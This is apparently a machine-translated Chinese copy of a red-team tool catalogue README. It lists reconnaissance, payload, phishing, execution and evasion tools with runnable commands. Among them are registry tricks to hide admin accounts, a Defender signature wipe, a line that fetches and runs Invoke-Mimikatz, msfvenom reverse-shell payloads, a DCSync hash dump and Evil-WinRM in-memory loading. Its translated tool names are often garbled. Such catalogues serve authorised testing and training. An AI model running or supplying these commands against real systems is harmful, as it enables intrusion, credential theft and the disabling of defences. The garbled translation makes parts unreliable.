RedTeam-Tools - 红队/渗透测试的工具和技术

Created at: 2022-09-19 18:20:29
Language:

红队工具

这个 github 存储库包含 115+ 个工具和资源的集合,这些工具和资源可用于红队活动

其中一些工具可能是专门为红队设计的,而另一些则是更通用的,可以适应在红队环境中使用。

🔗如果你是蓝队员,请查看蓝队工具

警告

此存储库中的材料仅用于信息和教育目的。它们不打算用于任何非法活动。

注意

使用箭头隐藏工具列表标题。

单击🔙以返回列表。

工具列表

红队提示 $\textcolor{gray}{\text{13 tips}}$
Reconnaissance $\textcolor{gray}{\text{20 tools}}$
资源开发 $\textcolor{gray}{\text{7 tools}}$
    • Chimera PowerShell 混淆
    • msfvenom 有效负载创建
    • Shellter Dynamic shellcode 注入工具
    • 冻结有效负载创建(规避 EDR)
    • WSH Wsh 有效载荷
    • HTA Hta 有效载荷
    • VBA Vba 有效负载
初始访问 $\textcolor{gray}{\text{6 tools}}$
Execution $\textcolor{gray}{\text{9 tools}}$
Persistence $\textcolor{gray}{\text{4 tools}}$
权限升级 $\textcolor{gray}{\text{9 tools}}$
防御规避 $\textcolor{gray}{\text{5 tools}}$
    • 调用混淆脚本混淆器
    • 面纱Metasploit有效载荷混淆器
    • 通过入口点执行保护实现锐化阻止 EDR 旁路
    • 恶魔岛 GUI x64 二进制混淆器
    • Mangle 编译的可执行操作
Credential Access $\textcolor{gray}{\text{8 tools}}$
Discovery $\textcolor{gray}{\text{6 tools}}$
横向移动 $\textcolor{gray}{\text{12 tools}}$
Collection $\textcolor{gray}{\text{3 tools}}$
命令和控制 $\textcolor{gray}{\text{6 tools}}$
    • 浩劫指挥和控制框架
    • 盟约指挥和控制框架 (.NET)
    • 梅林指挥和控制框架(戈朗)
    • Metasploit Framework Command and Control Framework (Ruby)
    • Pupy 命令和控制框架 (Python)
    • Brute Ratel 命令和控制框架 ($$$)
Exfiltration $\textcolor{gray}{\text{5 tools}}$
Impact $\textcolor{gray}{\text{2 tools}}$

红队小贴士

通过一系列红队技巧向红队员学习。这些提示涵盖了一系列策略、工具和方法,以提高你的红队能力。

注意:目前几乎所有的提示都来自@Alh4zr3d,他发布了很好的红队提示!

🔙隐藏本地管理员帐户

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f

描述:“创建帐户在规避蓝色时是有风险的,但在创建本地管理员时,请在注册表中使用一些可爱的巫术来隐藏它。

信用:@Alh4zr3d

链接: 推特

🔙通过删除签名来削弱窗口防御者

"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

描述:“有点混乱,但如果Windows Defender让你头疼,而不是禁用它(这会提醒用户),你应该通过删除所有签名来阉割它。

信用:@Alh4zr3d

链接: 推特

🔙为每个用户启用多个 RDP 会话

reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f

描述:“有时你希望通过 RDP 或类似方式登录到主机,但你的用户具有活动会话。为每个用户启用多个会话。

信用:@Alh4zr3d

链接: 推特

🔙Sysinternals PsExec.exe local alternative

wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "

描述: “你是否厌倦了在进行横向移动时上传系统内部 PsExec.exe?Windows预装了更好的替代方案。试试这个。

信用:@GuhnooPlusLinux

链接: 推特

🔙陆路端口实时扫描仪

0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$_)) "Port $_ open"} 2>$null

描述:“如果可能的话,在陆地上生活,而不是将工具上传到机器上(出于多种原因)。PowerShell/.NET 帮助。例如:Powershell中的简单端口扫描器。

信用:@Alh4zr3d

链接: 推特

🔙代理感知 PowerShell 下载字符串

$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")

描述: “如今,大多数大型组织都在使用网络代理。标准 PowerShell 下载底座无法识别代理。用这个。

信用:@Alh4zr3d

链接: 推特

🔙在浏览器书签中查找内部终结点

type "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"

描述:“你会惊讶于仅从用户的书签中就能发现什么。例如,他们可以访问内部端点。

信用:@Alh4zr3d

链接: 推特

🔙查询 DNS 记录以进行枚举

Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>

描述:“枚举是游戏的 95%。但是,启动大量扫描来评估环境的声音非常大。为什么不直接向 DC/DNS 服务器询问所有 DNS 记录呢?

信用:@Alh4zr3d

链接: 推特

🔙不带通电的无引号服务路径

Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

说明:“在没有通电的情况下查找未带引号的服务路径”

信用:@Alh4zr3d

链接: 推特

🔙使用 /k 绕过禁用的命令提示符

# Win+R (To bring up Run Box)
cmd.exe /k "whoami"

说明:“管理员已禁用此命令提示符...”通常可以在诸如信息亭PC之类的环境中看到,一个快速的解决方法是通过Windows运行框使用/k。这将执行命令,然后显示限制消息,允许命令执行。

信用:马丁·索恩·克里斯滕森

链接: 博客

🔙停止Windows Defender删除mimikatz.exe

(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv

描述:“你是否厌倦了Windows Defender删除mimikatz.exe?试试这个。

信用:@GuhnooPlusLinux

链接: 推特

🔙检查你是否在虚拟机中

reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"

描述:“想知道你是否在虚拟机中?查询注册表项并找出答案!!!如果显示任何结果,则你处于虚拟机中。

信用:@dmcxblue

链接: 推特

🔙枚举应用锁屏规则

(Get-AppLockerPolicy -Local).RuleCollections

Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse

reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\

描述:“AppLocker 可能很痛苦。列举看看有多痛苦'

信用:@Alh4zr3d

链接: 推特

侦察

🔙crt.sh -> httprobe ->目击者

我整理了一个 bash 单行本:

  • 被动地从证书关联收集子域列表 (crt.sh)
  • 主动请求每个子域以验证其是否存在(httprobe)
  • 主动截取每个子域名以供人工审核(目击者)

用法:

domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web

注意:你必须安装 httprobepupEyeWitness,并将“DOMAIN_COM”更改为目标域。如果你有多个目标根域,则可以在终端窗口中同时运行此脚本

图像

图像

🔙js端点

用于提取页面上所有网页端点链接的 JavaScript 书签。

此 JavaScript 代码片段由 @renniepak 创建,可用于从当前网页 DOM 中提取所有端点(以 / 开头),包括网页上嵌入的所有外部脚本源。

javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();

用法(书签)

创建书签...

  • Right click your bookmark bar
  • Click 'Add Page'
  • Paste the above Javascript in the 'url' box
  • Click 'Save'

...然后在浏览器中访问受害者页面并单击书签。

图像

使用情况(控制台)

将上述 Javascript 粘贴到控制台窗口中,然后按回车键。

F12

图像

🔙

使用 .yaml 模板搜索特定问题的快速漏洞扫描程序。

安装:

go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

用法:

cat domains.txt | nuclei -t /PATH/nuclei-templates/

图像

🔙certSniff(英语:certSniff)

certSniff是我用Python编写的证书透明度日志关键字观察器。它使用 certstream 库来监视包含文件中定义的关键字的证书创建日志。

你可以使用与受害域相关的多个关键字设置运行,任何证书创建都将被记录,并可能导致发现你以前不知道的域。

安装:

git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt

用法:

python3 certSniff.py -f example.txt

图像

🔙戈巴斯特

在受害者网站上暴力强制文件/文件夹路径的好工具。

安装:

sudo apt install gobuster

用法:

gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20

图像

🔙费罗克斯克星

一种旨在执行强制浏览的工具,这是一种攻击,其目的是枚举和访问 Web 应用程序未引用但仍可由攻击者访问的资源。

Feroxbuster使用蛮力结合单词列表来搜索目标目录中未链接的内容。这些资源可能会存储有关 Web 应用程序和操作系统的敏感信息,例如源代码、凭据、内部网络寻址等。

安装:(卡利)

sudo apt update && sudo apt install -y feroxbuster

安装:(苹果)

curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash

安装: (视窗)

Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V

有关完整的安装说明,请参阅此处

用法:

# Add .pdf, .js, .html, .php, .txt, .json, and .docx to each url
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx

# Scan with headers
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"

# Read URLs from stdin
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files

# Proxy requests through burpsuite
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080

完整的使用示例可以在这里找到。

图像

图片来自 https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif

🔙云蛮力

一种工具,用于在顶级云提供商(亚马逊,谷歌,微软,DigitalOcean,阿里巴巴,Vultr,Linode)上查找公司(目标)基础架构,文件和应用程序。

特征:

  • 云检测(IPINFO API 和源代码)
  • 快速(并发)
  • 跨平台(Windows、Linux、Mac)
  • 用户代理随机化
  • 代理随机化(HTTP,Socks5)

安装:

下载适用于你系统的最新版本并遵循用法。

用法:

# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"

# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

图像

图片来自 https://github.com/0xsha/CloudBrute

🔙dnsrecon

DNSRECON 是一个 pyhton 工具,用于枚举 DNS 记录(MX、SOA、NS、A、AAAA、SPF 和 TXT),并且可以提供许多新的关联受害主机,以便从单个域搜索中透视到。

安装:

sudo apt install dnsrecon

用法:

dnsrecon -d google.com

图像

🔙shodan.io

Shodan 抓取公共基础设施并以可搜索的格式显示它。使用公司名称,域名,IP地址,可以通过shodan发现与你的目标相关的潜在易受攻击的系统。

图像

🔙奥特

用于枚举子域、枚举 DNS、WAF 检测、WHOIS、端口扫描、回程机、电子邮件收集的工具。

安装:

git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt

用法:

python3 AORT.py -d google.com

图像

🔙欺骗检查

检查域是否可以从中欺骗的程序。该程序会检查 SPF 和 DMARC 记录中是否存在允许欺骗的弱配置。此外,如果域具有DMARC配置,该配置在失败的SPF / DKIM电子邮件上发送邮件或HTTP请求,它将发出警报。

如果满足以下任一条件,则域是可欺骗的:

  • 缺乏 SPF 或 DMARC 记录
  • SPF 记录从不指定或
    ~all
    -all
  • DMARC 政策设置为或不存在
    p=none

安装:

git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt

用法:

./spoofcheck.py [DOMAIN]

图像

🔙AWSBucketDump

AWSBucketDump 是一种快速枚举 AWS S3 存储桶以查找相关文件的工具。它类似于子域暴力破解程序,但专为 S3 存储桶制作,并且还具有一些额外的功能,可让你 grep 获取文件以及下载有趣的文件。

安装:

git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt

用法:

usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]

optional arguments:
  -h, --help    show this help message and exit
  -D            Download files. This requires significant diskspace
  -d            If set to 1 or True, create directories for each host w/ results
  -t THREADS    number of threads
  -l HOSTLIST
  -g GREPWORDS  Provide a wordlist to grep for
  -m MAXSIZE    Maximum file size to download.

 python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1

🔙GitHarvester

使用正则表达式从 GitHub 查找信息的好工具,能够搜索特定的 GitHub 用户和/或项目。

安装:

git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester

用法:

./githarvester.py

🔙松露猪

TruffleHog 是一种扫描 git 存储库并查找可能指示机密存在的高熵字符串和模式的工具,例如密码和 API 密钥。使用TruffleHog,你可以快速轻松地找到可能被意外提交并推送到存储库的敏感信息。

安装(二进制文件):链接

安装(执行):

git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install

用法:

trufflehog https://github.com/trufflesecurity/test_keys

图像

🔙 map

Dismap 是一种资产发现和识别工具。它可以快速识别web/tcp/udp等协议和指纹信息,定位资产类型,适用于内外部网络。

Dismap 拥有完整的指纹规则库,目前包括 tcp/udp/tls 协议指纹和 4500+ Web 指纹规则,可以识别网站图标、正文、标头等。

安装:

Dismap是Linux,MacOS和Windows的二进制文件。转到发布以下载相应的版本以运行:

# Linux or MacOS
chmod +x dismap-0.3-linux-amd64
./dismap-0.3-linux-amd64 -h

# Windows
dismap-0.3-windows-amd64.exe -h

用法:

# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24

# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json

# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10

# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000

图像

https://github.com/zhzyker/dismap 中使用的图像

🔙enum4linux

用于枚举来自 Windows 和 Samba 系统的信息的工具。

它可用于收集广泛的信息,包括:

  • 域和域控制器信息
  • 本地用户和组信息
  • 共享和共享权限
  • 安全策略
  • 活动目录信息

安装: (公寓)

sudo apt install enum4linux

安装:(Git)

git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux

用法:

# 'Do everything'
enum4linux.pl -a 192.168.2.55

# Obtain list of usernames (RestrictAnonymous = 0)
enum4linux.pl -U 192.168.2.55

# Obtain list of usernames (using authentication)
enum4linux.pl -u administrator -p password -U 192.168.2.55

# Get a list of groups and their members
enum4linux.pl -G 192.168.2.55

# Verbose scan 
enum4linux.pl -v 192.168.2.55

完整的使用信息可以在此博客中找到。

图像

https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/ 中使用的图像

🔙斯卡努瓦蒂

危险的快速dns/网络/端口扫描程序,由Esc4iCEscEsc创建,用锈写成。

你将需要一个子域文件。例如,子域单词列表由Sublist3r。

安装:

此处下载最新版本。

# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists

用法:

skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt

图像

图片来自 https://github.com/Esc4iCEscEsc/skanuvaty

🔙梅塔比戈尔

Metabigor 是智能工具,它的目标是执行 OSINT 任务等等,但没有任何 API 密钥。

主要特点:

  • 搜索有关 IP 地址、ASN 和组织的信息。
  • 用于在 IP/CIDR 上更高效地运行 rustscan、masscan 和 nmap 的包装器。
  • 通过应用各种技术(证书,whois,谷歌分析等)找到目标的更多相关域。
  • 获取有关 IP 地址的摘要(由 @thebl4ckturtle提供支持))

安装:

go install github.com/j3ssie/metabigor@latest

用法:

# discovery IP of a company/organization
echo "company" | metabigor net --org -o /tmp/result.txt

# Getting more related domains by searching for certificate info
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command

# Only run rustscan with full ports
echo '1.2.3.4/24' | metabigor scan -o result.txt

# Reverse Whois to find related domains
echo 'example.com' | metabigor related -s 'whois'

# Get Google Analytics ID directly from the URL
echo 'https://example.com' | metabigor related -s 'google-analytic'

图像

图片来自 https://github.com/j3ssie/metabigor

🔙吉特罗布

Gitrob 是一个工具,可以帮助查找推送到 Github 上公共存储库的潜在敏感文件。

Gitrob 会将属于用户或组织的存储库克隆到可配置的深度,并循环访问提交历史记录并标记与潜在敏感文件的签名匹配的文件。

调查结果将通过网络界面呈现,以便于浏览和分析。

注意:Gitrob 需要一个 Github 访问令牌才能与 Github API 交互。创建个人访问令牌并将其保存在 .bashrc 或类似 shell 配置文件的环境变量中:

export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef

安装:(去)

go get github.com/michenriksen/gitrob

安装:(二进制)

每个版本都有一个预编译版本

用法:

# Run against org
gitrob {org_name}

# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp

# Loading session from a file
gitrob -load ~/gitrob-session.json

图像

图片来自 https://www.uedbox.com/post/58828/

🔙去见证

Gowitness是一个用Golang编写的网站屏幕截图实用程序,它使用Chrome Headless使用命令行生成Web界面的屏幕截图,并带有方便的报告查看器来处理结果。Linux和macOS都受支持,Windows支持大部分工作。

安装:(去)

go install github.com/sensepost/gowitness@latest

完整的安装信息可以在这里找到。

用法:

# Screenshot a single website
gowitness single https://www.google.com/

# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20

# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http

# Run the report server
gowitness report serve

完整的使用信息可以在这里找到。

图像

图片来自 https://github.com/sensepost/gowitness

资源开发

🔙嵌 合体

Chimera 是一个 PowerShell 混淆脚本,旨在绕过 AMSI 和防病毒解决方案。它消化已知会触发 AV 的恶意 PS1,并使用字符串替换和变量串联来逃避常见的检测签名。

安装:

sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help

用法:

./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p

图像

🔙msfvenom

Msfvenom允许以各种格式为各种操作系统创建有效负载。它还支持对 AV 旁路的有效负载进行混淆。

设置侦听器

use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST your-ip 
set LPORT listening-port 
run

Msfvenom Commands

.PHP:

msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R

窗户:

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe

Linux:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf

爪哇岛:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp

HTA:

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta

图像

🔙脱壳机

Shellter 是一个动态外壳代码注入工具,也是有史以来第一个真正的动态 PE 感染器。

它可用于将shellcode注入本机Windows应用程序(目前仅限32位应用程序)。

Shellter 利用了 PE 文件的原始结构,并且不应用任何修改,例如更改部分中的内存访问权限(除非用户需要)、添加具有 RWE 访问权限的额外部分,以及在 AV 扫描下看起来很狡猾的任何内容。

完整的自述文件信息可以在这里找到。

安装:(卡利)

apt-get update
apt-get install shellter

安装: (视窗)

访问下载页面并安装。

用法:

只需选择一个合法的二进制文件到后门并运行 Shellter。

可以在这里找到一些不错的提示。

可以在此处找到许多社区使用演示。

图像

https://www.kali.org/tools/shellter/images/shellter.png 中使用的图像

🔙冻结

Freeze 是一种有效负载创建工具,用于绕过 EDR 安全控制以隐蔽的方式执行外壳代码。

Freeze 利用多种技术不仅删除 Userland EDR 钩子,而且还以绕过其他端点监控控制的方式执行 shellcode。

安装:

git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go

用法:

  -I string
        Path to the raw 64-bit shellcode.
  -O string
        Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe.
  -console
        Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
  -encrypt
        Encrypts the shellcode using AES 256 encryption
  -export string
        For DLL Loaders Only - Specify a specific Export function for a loader to have.
  -process string
        The name of process to spawn. This process has to exist in C:\Windows\System32\. Example 'notepad.exe' (default "notepad.exe")
  -sandbox
        Enables sandbox evasion by checking:
                Is Endpoint joined to a domain?
                Does the Endpoint have more than 2 CPUs?
                Does the Endpoint have more than 4 gigs of RAM?
  -sha256
        Provides the SHA256 value of the loaders (This is useful for tracking)

图像

图片来自 https://www.blackhatethicalhacking.com/tools/freeze/

🔙哇唧��

创建有效负载:

Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

执行:

wscript payload.vbs
cscript.exe payload.vbs
wscript /e:VBScript payload.txt //If .vbs files are blacklisted

🔙HTA

创建有效负载:

<html>
<body>
<script>
	var c= 'cmd.exe'
	new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

执行:运行文件

🔙VBA

创建有效负载:

Sub calc()
	Dim payload As String
	payload = "calc.exe"
	CreateObject("Wscript.Shell").Run payload,0
End Sub

执行:在启用宏的文档中将函数设置为 Auto_Open()

初始访问

🔙巴什兔

Bash Bunny是一个物理USB攻击工具和多功能有效载荷传输系统。它被设计为插入计算机的USB端口,可以编程以执行各种功能,包括操纵和泄露数据,安装恶意软件以及绕过安全措施。

黑客实验室:猛击兔子 – 指南

Hak5 文档

尼斯有效负载存储库

产品页面

图像

🔙邪恶的GoPhish

邪恶金x2 + 哥菲什。(哥菲什)Gophish 是一个功能强大的开源网络钓鱼框架,可以轻松测试组织对网络钓鱼的暴露程度。(邪恶金x2)独立的中间人攻击框架,用于网络钓鱼登录凭据以及会话 Cookie,允许绕过 2 因素身份验证

安装:

git clone https://github.com/fin3ss3g0d/evilgophish

用法:

Usage:
./setup <root domain> <subdomain(s)> <root domain bool> <redirect url> <feed bool> <rid replacement> <blacklist bool>
 - root domain                     - the root domain to be used for the campaign
 - subdomains                      - a space separated list of evilginx2 subdomains, can be one if only one
 - root domain bool                - true or false to proxy root domain to evilginx2
 - redirect url                    - URL to redirect unauthorized Apache requests
 - feed bool                       - true or false if you plan to use the live feed
 - rid replacement                 - replace the gophish default "rid" in phishing URLs with this value
 - blacklist bool                  - true or false to use Apache blacklist
Example:
  ./setup.sh example.com "accounts myaccount" false https://redirect.com/ true user_id false

图像

🔙社会工程师工具包 (SET)

此框架非常适合创建初始访问活动,“SET 有许多自定义攻击媒介,可让你快速进行可信的攻击”。

安装:

git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install

用法:

python3 setoolkit

图像

🔙水螅

登录暴力攻击的好工具。可以支持多种服务,包括SSH,FTP,TELNET,HTTP等。

安装:

sudo apt install hydra

用法:

hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error"
hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh

图像

🔙方形网络钓鱼

SquarePhish 是一种高级网络钓鱼工具,它使用结合 OAuth 设备代码身份验证流程和 QR 码的技术(有关用于网络钓鱼攻击的 OAuth 设备代码流的更多信息,请参阅 PhishInSuits)。

攻击步骤:

  • 向受害者发送恶意二维码
  • 受害者使用移动设备扫描二维码
  • 受害者定向到攻击者控制的服务器(触发 OAuth 设备代码身份验证流程)
  • 受害者通过电子邮件发送的 MFA 代码(触发 OAuth 设备代码流 15 分钟计时器)
  • 攻击者轮询身份验证
  • 受害者在合法的微软网站中输入代码
  • 攻击者保存身份验证令牌

安装:

git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt

注意:在使用任一模块之前,请更新 settings.config 文件中的必需信息,并注明为必需。

用法(电子邮件模块):

usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]

optional arguments:
  -h, --help            show this help message and exit

  -c CONFIG, --config CONFIG
                        squarephish config file [Default: settings.config]

  --debug               enable server debugging

  -e EMAIL, --email EMAIL
                        victim email address to send initial QR code email to

用法(服务器模块):

usage: squish.py server [-h] [-c CONFIG] [--debug]

optional arguments:
  -h, --help            show this help message and exit

  -c CONFIG, --config CONFIG
                        squarephish config file [Default: settings.config]

  --debug               enable server debugging

图像

🔙皮舍王

King Phisher 是一种工具,允许攻击者创建网络钓鱼电子邮件并将其发送给受害者以获取敏感信息。

它包括可自定义的模板、活动管理和电子邮件发送功能等功能,使其成为执行网络钓鱼攻击的强大且易于使用的工具。借助 King Phisher,atackers 可以使用有针对性的、令人信服的网络钓鱼电子邮件来针对个人或组织,从而增加攻击成功的机会。

安装(Linux - 客户端和服务器):

wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh && \
sudo bash ./install.sh

用法:

安装国王Phisher后,请按照wiki页面设置SSH,数据库配置,SMTP服务器等。

图像

执行

🔙应答

响应程序是一种工具,用于毒害网络上的 LLMNR 和 NBT-NS 协议,以允许凭据捕获和任意代码执行。

Windows 系统使用 LLMNR(链路本地组播名称解析)和 NBT-NS(NetBIOS 名称服务)协议将主机名解析为本地网络上的 IP 地址。如果无法使用这些协议解析主机名,系统将向本地网络广播对主机名的请求。

响应程序侦听这些广播并使用虚假 IP 地址进行响应,诱使请求系统将其凭据发送给攻击者。

安装:

git clone https://github.com/SpiderLabs/Responder#usage
cd Responder

用法:

# Running the tool
./Responder.py [options]

# Typical usage
./Responder.py -I eth0 -wrf

完整的使用信息可以在这里找到。

图像

图片来自 https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/

🔙秘密转储

作为 Impacket 库一部分的实用程序,可用于从 Windows 系统中提取密码哈希和其他机密。

它通过与系统上的安全帐户管理器 (SAM) 数据库交互并提取哈希密码和其他信息来实现此目的,例如:

  • 本地帐户的密码哈希
  • 科贝罗斯门票和钥匙
  • LSA 秘密

安装:

python3 -m pip install impacket

用法:

# Extract NTLM hashes with local files
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL

# DCSync attack and dump the NTLM hashes of all domain users.
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:Sheffield19@10.10.10.30

图像

图片来自 https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy

🔙邪恶的温姆

Evil-WinRM 是一个为 Windows Remote Management 提供命令行界面的工具(WinRM:一种允许管理员在 Windows 机器上远程执行命令的服务)。

Evil-WinRM 允许攻击者使用 WinRM 远程连接到 Windows 计算机并执行任意命令。

一些功能包括:

  • 在内存中加载 Powershell 脚本
  • 在内存中加载 dll 文件绕过某些 AV
  • 加载 x64 有效负载
  • 传递哈希支持
  • 上传和下载本地和远程文件

安装:(Git)

sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm

安装:(红宝石宝石)

gem install evil-winrm

在此处找到替代安装说明。

用法:

# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

# Upload local files to victim
upload local_filename
upload local_filename destination_filename

# Download remote files to local machine
download remote_filename
download remote_filename destination_filename

# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe

# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll

完整的使用文档可以在这里找到。

图像

图片来自 https://korbinian-spielvogel.de/posts/heist-writeup/

🔙甜甜圈

用于在内存中执行 VBScript、JScript、EXE、DLL 文件和 dotNET 程序集的工具。它可用于在目标系统上加载和运行自定义有效负载,而无需将文件拖放到磁盘。

安装: (视窗)

git clone http://github.com/thewover/donut.git

要生成加载器模板,动态库 donut.dll、静态库 donut.lib 和生成器 donut.exe。启动 x64 Microsoft Visual Studio 开发人员命令提示符,切换到克隆 Donut 存储库的目录,然后输入以下内容:

nmake -f Makefile.msvc

要执行相同的操作,除了在Windows或Linux上使用MinGW-64之外,请转到克隆Donut存储库的目录并输入以下内容:

make -f Makefile.mingw

安装: (Linux)

pip3 install donut-shellcode

用法:

# Creating shellcode from an XSL file that pops up a calculator.
shellcode = donut.create(file=r"C:\\Tools\\Source\\Repos\\donut\\calc.xsl")

# Creating shellcode from an unmanaged DLL. Invokes DLLMain.
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")

有关完整的使用信息,请参阅甜甜圈 GitHub 页面

请参阅The Wover最近的博客文章以获取更多信息。

图像

🔙Macro_pack

用于自动处理和生成 Office 文档、VB 脚本、快捷方式和其他红队格式的工具。

安装:(二进制)

  1. https://github.com/sevagas/macro_pack/releases/ 获取最新的二进制文件
  2. 在安装了正版Microsoft Office的PC上下载二进制文件。
  3. 打开控制台,CD 到二进制目录并调用二进制

